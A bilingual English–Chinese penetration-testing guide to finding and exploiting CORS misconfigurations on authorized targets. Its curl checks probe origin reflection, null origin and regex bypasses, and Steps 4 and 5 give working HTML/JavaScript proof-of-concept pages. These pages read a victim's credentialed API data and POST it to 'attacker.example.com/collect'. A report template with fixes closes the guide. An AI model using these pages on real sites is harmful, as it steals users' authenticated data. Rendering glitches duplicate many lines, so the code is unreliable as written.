testing-cors-misconfiguration

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

Testing CORS Misconfiguration

CORS配置错误测试

When to Use

使用场景

  • During authorized penetration tests when assessing API endpoints for cross-origin access controls
  • When testing single-page applications that make cross-origin API requests
  • For evaluating whether sensitive data can be exfiltrated from a victim's browser session
  • When assessing microservice architectures with multiple domains sharing data
  • During security audits of applications using CORS headers for cross-domain communication
  • 在授权的渗透测试中,评估API端点的跨源访问控制时
  • 测试发出跨源API请求的单页应用时
  • 评估敏感数据是否可以从受害者的浏览器会话中泄露时
  • 评估多个域共享数据的微服务架构时
  • 对使用CORS头进行跨域通信的应用进行安全审计时

Prerequisites

前置条件

  • Authorization: Written penetration testing agreement for the target
  • Burp Suite Professional: For intercepting and modifying Origin headers
  • Browser with DevTools: For observing CORS behavior in real browser context
  • Attacker web server: For hosting CORS exploitation PoC pages
  • curl: For manual CORS header testing
  • Python HTTP server: For hosting exploit pages locally
  • 授权:针对目标的书面渗透测试协议
  • Burp Suite Professional:用于拦截和修改Origin头
  • 带DevTools的浏览器:用于在真实浏览器环境中观察CORS行为
  • 攻击者Web服务器:用于托管CORS利用PoC页面
  • curl:用于手动测试CORS头
  • Python HTTP服务器:用于在本地托管利用页面

Workflow

测试流程

Step 1: Identify CORS Configuration on Target Endpoints

步骤1:识别目标端点的CORS配置

Check all API endpoints for CORS response headers.
bash
undefined
检查所有API端点的CORS响应头。
bash
undefined

Test with a foreign Origin header

Test with a foreign Origin header

Check for CORS headers in response:

Check for CORS headers in response:

Access-Control-Allow-Origin: https://evil.example.com (BAD: reflects any origin)

Access-Control-Allow-Origin: https://evil.example.com (BAD: reflects any origin)

Access-Control-Allow-Origin: * (BAD if with credentials)

Access-Control-Allow-Origin: * (BAD if with credentials)

Access-Control-Allow-Credentials: true (allows cookies)

Access-Control-Allow-Credentials: true (allows cookies)

Access-Control-Allow-Methods: GET, POST, PUT, DELETE

Access-Control-Allow-Methods: GET, POST, PUT, DELETE

Access-Control-Allow-Headers: Authorization, Content-Type

Access-Control-Allow-Headers: Authorization, Content-Type

Access-Control-Expose-Headers: X-Custom-Header

Access-Control-Expose-Headers: X-Custom-Header

Test multiple endpoints

Test multiple endpoints

for endpoint in /api/user/profile /api/user/settings /api/transactions
/api/admin/users /api/account/balance; do echo "=== $endpoint ===" curl -s -I
-H "Origin: https://evil.example.com"
"https://api.target.example.com$endpoint" |
grep -i "access-control" echo done
undefined
for endpoint in /api/user/profile /api/user/settings /api/transactions
/api/admin/users /api/account/balance; do echo "=== $endpoint ===" curl -s -I
-H "Origin: https://evil.example.com"
"https://api.target.example.com$endpoint" |
grep -i "access-control" echo done
undefined

Step 2: Test Origin Reflection and Validation Bypass

步骤2:测试Origin反射与验证绕过

Determine how the server validates the Origin header.
bash
undefined
确定服务器如何验证Origin头。
bash
undefined

Test 1: Arbitrary origin reflection

Test 1: Arbitrary origin reflection

curl -s -I -H "Origin: https://evil.com"
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
curl -s -I -H "Origin: https://evil.com"
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"

Test 2: Null origin

Test 2: Null origin

curl -s -I -H "Origin: null"
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
curl -s -I -H "Origin: null"
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"

Test 3: Subdomain matching bypass

Test 3: Subdomain matching bypass

curl -s -I -H "Origin: https://evil.target.example.com"
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
curl -s -I -H "Origin: https://evil.target.example.com"
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"

Test 4: Prefix/suffix matching bypass

Test 4: Prefix/suffix matching bypass

curl -s -I -H "Origin: https://target.example.com.evil.com"
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
curl -s -I -H "Origin: https://eviltarget.example.com"
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
curl -s -I -H "Origin: https://target.example.com.evil.com"
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
curl -s -I -H "Origin: https://eviltarget.example.com"
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"

Test 5: Protocol downgrade

Test 5: Protocol downgrade

curl -s -I -H "Origin: http://target.example.com"
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
curl -s -I -H "Origin: http://target.example.com"
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"

Test 6: Special characters in origin

Test 6: Special characters in origin

curl -s -I -H "Origin: https://target.example.com%60.evil.com"
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
curl -s -I -H "Origin: https://target.example.com%60.evil.com"
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"

Test 7: Wildcard with credentials check

Test 7: Wildcard with credentials check

curl -s -I -H "Origin: https://evil.com"
"https://api.target.example.com/api/public" | grep -iE "access-control-allow-(origin|credentials)"
curl -s -I -H "Origin: https://evil.com"
"https://api.target.example.com/api/public" | grep -iE "access-control-allow-(origin|credentials)"

Wildcard (*) + credentials (true) is invalid per spec but some servers misconfigure

Wildcard (*) + credentials (true) is invalid per spec but some servers misconfigure

undefined
undefined

Step 3: Test Preflight Request Handling

步骤3:测试预检请求处理

Assess how the server handles OPTIONS preflight requests.
bash
undefined
评估服务器如何处理OPTIONS预检请求。
bash
undefined

Send preflight request

Send preflight request

curl -s -I -X OPTIONS
-H "Origin: https://evil.example.com"
-H "Access-Control-Request-Method: PUT"
-H "Access-Control-Request-Headers: Authorization, Content-Type"
"https://api.target.example.com/api/user/profile"
curl -s -I -X OPTIONS
-H "Origin: https://evil.example.com"
-H "Access-Control-Request-Method: PUT"
-H "Access-Control-Request-Headers: Authorization, Content-Type"
"https://api.target.example.com/api/user/profile"

Check:

Check:

Access-Control-Allow-Methods: should only list needed methods

Access-Control-Allow-Methods: should only list needed methods

Access-Control-Allow-Headers: should only list needed headers

Access-Control-Allow-Headers: should only list needed headers

Access-Control-Max-Age: preflight cache duration (long = risky)

Access-Control-Max-Age: preflight cache duration (long = risky)

Test if dangerous methods are allowed

Test if dangerous methods are allowed

curl -s -I -X OPTIONS
-H "Origin: https://evil.example.com"
-H "Access-Control-Request-Method: DELETE"
"https://api.target.example.com/api/user/profile" |
grep -i "access-control-allow-methods"
curl -s -I -X OPTIONS
-H "Origin: https://evil.example.com"
-H "Access-Control-Request-Method: DELETE"
"https://api.target.example.com/api/user/profile" |
grep -i "access-control-allow-methods"

Test if preflight is cached too long

Test if preflight is cached too long

curl -s -I -X OPTIONS
-H "Origin: https://evil.example.com"
-H "Access-Control-Request-Method: GET"
"https://api.target.example.com/api/user/profile" |
grep -i "access-control-max-age"
curl -s -I -X OPTIONS
-H "Origin: https://evil.example.com"
-H "Access-Control-Request-Method: GET"
"https://api.target.example.com/api/user/profile" |
grep -i "access-control-max-age"

max-age > 86400 (1 day) allows prolonged abuse after policy change

max-age > 86400 (1 day) allows prolonged abuse after policy change

undefined
undefined

Step 4: Craft CORS Exploitation Proof of Concept

步骤4:编写CORS利用验证性代码(PoC)

Build an HTML page that exploits the CORS misconfiguration to steal data.
html
<!-- cors-exploit.html - Host on attacker server -->
<html>
<head><title>CORS PoC</title></head>
<body>
<h1>CORS Exploitation Proof of Concept</h1>
<div id="result"></div>
<script>
// Exploit: Read victim's profile data cross-origin
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
  if (xhr.readyState === 4) {
    // Data successfully stolen cross-origin
    document.getElementById('result').innerText = xhr.responseText;

    // Exfiltrate to attacker server
    var exfil = new XMLHttpRequest();
    exfil.open('POST', 'https://attacker.example.com/collect', true);
    exfil.setRequestHeader('Content-Type', 'application/json');
    exfil.send(xhr.responseText);
  }
};
xhr.open('GET', 'https://api.target.example.com/api/user/profile', true);
xhr.withCredentials = true;  // Include victim's cookies
xhr.send();
</script>
</body>
</html>
html
<!-- Exploit using fetch API -->
<script>
fetch('https://api.target.example.com/api/user/profile', {
  credentials: 'include'
})
.then(response => response.json())
.then(data => {
  // Steal sensitive data
  fetch('https://attacker.example.com/collect', {
    method: 'POST',
    body: JSON.stringify(data)
  });
  console.log('Stolen data:', data);
});
</script>
构建一个HTML页面,利用CORS配置错误窃取数据。
html
<!-- cors-exploit.html - Host on attacker server -->
<html>
<head><title>CORS PoC</title></head>
<body>
<h1>CORS Exploitation Proof of Concept</h1>
<div id="result"></div>
<script>
// Exploit: Read victim's profile data cross-origin
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
  if (xhr.readyState === 4) {
    // Data successfully stolen cross-origin
    document.getElementById('result').innerText = xhr.responseText;

    // Exfiltrate to attacker server
    var exfil = new XMLHttpRequest();
    exfil.open('POST', 'https://attacker.example.com/collect', true);
    exfil.setRequestHeader('Content-Type', 'application/json');
    exfil.send(xhr.responseText);
  }
};
xhr.open('GET', 'https://api.target.example.com/api/user/profile', true);
xhr.withCredentials = true;  // Include victim's cookies
xhr.send();
</script>
</body>
</html>
html
<!-- Exploit using fetch API -->
<script>
fetch('https://api.target.example.com/api/user/profile', {
  credentials: 'include'
})
.then(response => response.json())
.then(data => {
  // Steal sensitive data
  fetch('https://attacker.example.com/collect', {
    method: 'POST',
    body: JSON.stringify(data)
  });
  console.log('Stolen data:', data);
});
</script>

Step 5: Exploit Null Origin Vulnerability

步骤5:利用Null Origin漏洞

If
Origin: null
is allowed, exploit via sandboxed iframes.
html
<!-- null-origin-exploit.html -->
<html>
<body>
<h1>Null Origin CORS Exploit</h1>
<!--
  Sandboxed iframe sends requests with Origin: null
  If server reflects Access-Control-Allow-Origin: null with credentials,
  data can be exfiltrated
-->
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
  srcdoc="
  <script>
    var xhr = new XMLHttpRequest();
    xhr.onload = function() {
      // Send stolen data to parent or attacker server
      fetch('https://attacker.example.com/collect', {
        method: 'POST',
        body: xhr.responseText
      });
    };
    xhr.open('GET', 'https://api.target.example.com/api/user/profile');
    xhr.withCredentials = true;
    xhr.send();
  </script>
"></iframe>
</body>
</html>

<!-- Alternative: data: URI for null origin -->
<!-- Open in browser: data:text/html,<script>...</script> -->
如果允许
Origin: null
,通过沙箱iframe进行利用。
html
<!-- null-origin-exploit.html -->
<html>
<body>
<h1>Null Origin CORS Exploit</h1>
<!--
  Sandboxed iframe sends requests with Origin: null
  If server reflects Access-Control-Allow-Origin: null with credentials,
  data can be exfiltrated
-->
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
  srcdoc="
  <script>
    var xhr = new XMLHttpRequest();
    xhr.onload = function() {
      // Send stolen data to parent or attacker server
      fetch('https://attacker.example.com/collect', {
        method: 'POST',
        body: xhr.responseText
      });
    };
    xhr.open('GET', 'https://api.target.example.com/api/user/profile');
    xhr.withCredentials = true;
    xhr.send();
  </script>
"></iframe>
</body>
</html>

<!-- Alternative: data: URI for null origin -->
<!-- Open in browser: data:text/html,<script>...</script> -->

Step 6: Test for Internal Network Access via CORS

步骤6:测试通过CORS访问内部网络

Check if CORS allows access from internal origins that could be leveraged via XSS.
bash
undefined
检查CORS是否允许来自内部源的访问,此类访问可通过XSS加以利用。
bash
undefined

Test internal/development origins

Test internal/development origins

for origin in "${INTERNAL_ORIGINS[@]}"; do echo -n "$origin: " curl -s -I -H "Origin: $origin"
"https://api.target.example.com/api/user/profile" |
grep -i "access-control-allow-origin" | tr -d '\r' echo done
for origin in "${INTERNAL_ORIGINS[@]}"; do echo -n "$origin: " curl -s -I -H "Origin: $origin"
"https://api.target.example.com/api/user/profile" |
grep -i "access-control-allow-origin" | tr -d '\r' echo done

If internal origins are allowed and have XSS:

If internal origins are allowed and have XSS:

2. Use XSS to make CORS request to api.target.example.com

2. Use XSS to make CORS request to api.target.example.com

3. Exfiltrate data via the XSS + CORS chain

3. Exfiltrate data via the XSS + CORS chain

undefined
undefined

Key Concepts

核心概念

ConceptDescription
Same-Origin PolicyBrowser security model preventing scripts from one origin accessing data from another
CORSMechanism allowing servers to specify which origins can access their resources
Origin ReflectionServer mirrors the request Origin header in the ACAO response header (dangerous)
Null OriginSpecial origin value from sandboxed iframes, data URIs, and redirects
Preflight RequestOPTIONS request sent before certain cross-origin requests to check permissions
Credentialed RequestsCross-origin requests that include cookies, requiring explicit ACAO + ACAC headers
Wildcard CORS
Access-Control-Allow-Origin: *
allows any origin but prohibits credentials
概念描述
Same-Origin Policy浏览器安全模型,阻止来自一个源的脚本访问另一个源的数据
CORS允许服务器指定哪些源可以访问其资源的机制
Origin Reflection服务器在ACAO响应头中镜像请求的Origin头(存在风险)
Null Origin来自沙箱iframe、data URI和重定向的特殊源值
Preflight Request在某些跨源请求之前发送的OPTIONS请求,用于检查权限
Credentialed Requests包含Cookie的跨源请求,需要明确的ACAO + ACAC头
Wildcard CORS
Access-Control-Allow-Origin: *
允许任何源,但禁止携带凭证

Tools & Systems

工具与系统

ToolPurpose
Burp Suite ProfessionalIntercepting requests and modifying Origin headers
CORScannerAutomated CORS misconfiguration scanner (
pip install corscanner
)
cors-scannerNode.js-based CORS testing tool
Browser DevToolsMonitoring CORS errors and network requests in real browser context
Python http.serverHosting CORS exploit PoC pages
OWASP ZAPAutomated CORS misconfiguration detection
工具用途
Burp Suite Professional拦截请求并修改Origin头
CORScanner自动化CORS配置错误扫描器(
pip install corscanner
cors-scanner基于Node.js的CORS测试工具
Browser DevTools在真实浏览器环境中监控CORS错误和网络请求
Python http.server托管CORS利用PoC页面
OWASP ZAP自动化检测CORS配置错误

Common Scenarios

常见场景

Scenario 1: Full Origin Reflection

场景1:完全Origin反射

The API reflects any Origin header in
Access-Control-Allow-Origin
with
Access-Control-Allow-Credentials: true
. Any website can read authenticated API responses, stealing user data.
API会在
Access-Control-Allow-Origin
中反射任意Origin头,同时设置
Access-Control-Allow-Credentials: true
。任何网站都可以读取经过身份验证的API响应,窃取用户数据。

Scenario 2: Null Origin Allowed

场景2:允许Null Origin

The server allows
Origin: null
with credentials. Using a sandboxed iframe, an attacker page sends credentialed requests to the API and reads the response data.
服务器允许携带凭证的
Origin: null
。攻击者页面通过沙箱iframe发送带凭证的请求到API,并读取响应数据。

Scenario 3: Subdomain Wildcard Trust

场景3:信任子域通配符

The CORS policy allows
*.target.example.com
. An attacker finds XSS on
forum.target.example.com
and uses it to make cross-origin requests to
api.target.example.com
, stealing user data through the trusted subdomain.
CORS策略允许
*.target.example.com
。攻击者在
forum.target.example.com
上发现XSS漏洞,利用该漏洞向
api.target.example.com
发起跨源请求,通过受信任的子域窃取用户数据。

Scenario 4: Regex Bypass on Origin Validation

场景4:Origin验证的正则绕过

The server uses regex
target\.example\.com
to validate origins, but fails to anchor the regex.
attackertarget.example.com
matches and is allowed access.
服务器使用正则
target\.example\.com
验证源,但未锚定正则。
attackertarget.example.com
会匹配该正则并被允许访问。

Output Format

输出格式

undefined
undefined

CORS Misconfiguration Finding

CORS Misconfiguration Finding

Vulnerability: CORS Origin Reflection with Credentials Severity: High (CVSS 8.1) Location: All /api/* endpoints on api.target.example.com OWASP Category: A01:2021 - Broken Access Control
Vulnerability: CORS Origin Reflection with Credentials Severity: High (CVSS 8.1) Location: All /api/* endpoints on api.target.example.com OWASP Category: A01:2021 - Broken Access Control

CORS Configuration Observed

CORS Configuration Observed

HeaderValue
Access-Control-Allow-Origin[Reflects request Origin]
Access-Control-Allow-Credentialstrue
Access-Control-Allow-MethodsGET, POST, PUT, DELETE
Access-Control-Expose-HeadersX-Auth-Token
HeaderValue
Access-Control-Allow-Origin[Reflects request Origin]
Access-Control-Allow-Credentialstrue
Access-Control-Allow-MethodsGET, POST, PUT, DELETE
Access-Control-Expose-HeadersX-Auth-Token

Origin Validation Results

Origin Validation Results

Origin TestedReflectedCredentials
https://evil.comYesYes
nullYesYes
http://localhostYesYes
https://evil.target.example.comYesYes
Origin TestedReflectedCredentials
https://evil.comYesYes
nullYesYes
http://localhostYesYes
https://evil.target.example.comYesYes

Impact

Impact

  • Any website can read authenticated API responses in victim's browser
  • User profile data (email, phone, address) exfiltrable
  • Session tokens exposed via X-Auth-Token header
  • CSRF protection bypassed (attacker can read and submit anti-CSRF tokens)
  • Any website can read authenticated API responses in victim's browser
  • User profile data (email, phone, address) exfiltrable
  • Session tokens exposed via X-Auth-Token header
  • CSRF protection bypassed (attacker can read and submit anti-CSRF tokens)

Recommendation

Recommendation

  1. Implement a strict allowlist of trusted origins
  2. Never reflect arbitrary Origin values in Access-Control-Allow-Origin
  3. Do not allow Origin: null with credentials
  4. Validate origins with exact string matching, not regex substring matching
  5. Set Access-Control-Max-Age to a reasonable value (600 seconds)
undefined
  1. Implement a strict allowlist of trusted origins
  2. Never reflect arbitrary Origin values in Access-Control-Allow-Origin
  3. Do not allow Origin: null with credentials
  4. Validate origins with exact string matching, not regex substring matching
  5. Set Access-Control-Max-Age to a reasonable value (600 seconds)
undefined